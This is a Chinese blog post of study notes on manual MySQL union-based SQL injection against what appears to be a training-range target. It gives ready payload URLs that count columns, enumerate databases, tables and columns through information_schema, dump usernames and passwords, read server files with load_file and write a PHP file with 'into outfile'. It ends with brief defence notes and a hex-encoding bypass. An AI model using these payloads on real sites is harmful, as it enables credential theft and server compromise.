sqlzhuru

本文介绍了SQL注入攻击的步骤,包括确定注入点、判断字段数、查询数据库信息和执行自定义查询。通过示例URL展示了如何利用information_schema获取数据库版本、名称、用户和表名。还提到了高权限和低权限注入的策略,以及文件读写操作。最后讨论了注入防护措施,如PHP的magic_quotes_gpc和函数过滤。
摘要由CSDN通过智能技术生成

知识点:
1、mysql5.0以后,自带数据库infomation_schema,用来存放所有数据库名,表名,列名的数据库,通过它查询获取指定字段。
2、数据库中的符号“.” xxx.user 表示xxx下的user表。
infomation_schema.tables 表名
infomation_schema.colums 列名

字段名
table_name
table_schema
column_name

目标:
1、确定注入点
http://124.70.22.208:48790/new_list.php?id=-1
2、判断字段个数
http://124.70.22.208:48790/new_list.php?id=-1 order by 1
http://124.70.22.208:48790/new_list.php?id=-1 order by 2
http://124.70.22.208:48790/new_list.php?id=-1 order by 3
http://124.70.22.208:48790/new_list.php?id=-1 order by 4 (报错)
3、注入点字段
http://124.70.22.208:48790/new_list.php?id=-1 union select 1,2,3,4
4、在2,3字段进行查询

信息收集:
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os

查询指定数据库下mozhe_Discuz_StormGroup中的信息:
http://124.70.22.208:48790/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

查询指定表明:StormGroup_member下列名信息:

http://124.70.22.208:48790/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

查询自定义数据:
http://124.70.22.208:48790/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1


高权限注入及低权限注入

垮库查询及应用思路

infomation_schema 表特性、记录库名、表名,列名对应表。

获取所有数据库:

union select 1,group_concat(schema_name),3 from information_schema_schema.schemata

获取security数据库名下的表名信息:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’

获取指定security下的表名users下的列名:

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’

获取指定security下的admin数据
union select 1,username,password from security.users

#文件读写操作
load_file():读取操作
into outfile 或者 into dumpfile : 导出函数
路径获取方法
报错显示、遗留文件,漏洞报错,平台配置文件,爆破等
windows:
d:/wwwroot/xxx
linux:
/var/www/xxxx

读取文件:
id=-1 union select 1,load_file(‘C:/inetpub/sql_inject/access_sql/bf1index.asp’),3

写入文件(–+ 注释后边):
?id=-1 union select 1,‘x’,3 into outfile ‘C:\inetpub\x.php’ --+

注入防护⚠️
1、php使用magic_quotes_gpc会转译’ " \ / 绕过使用转译工具-> hex 值
2、函数过滤(类型判定)
3、替换关键字(替换指定命令)
4、WAF安全软件

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值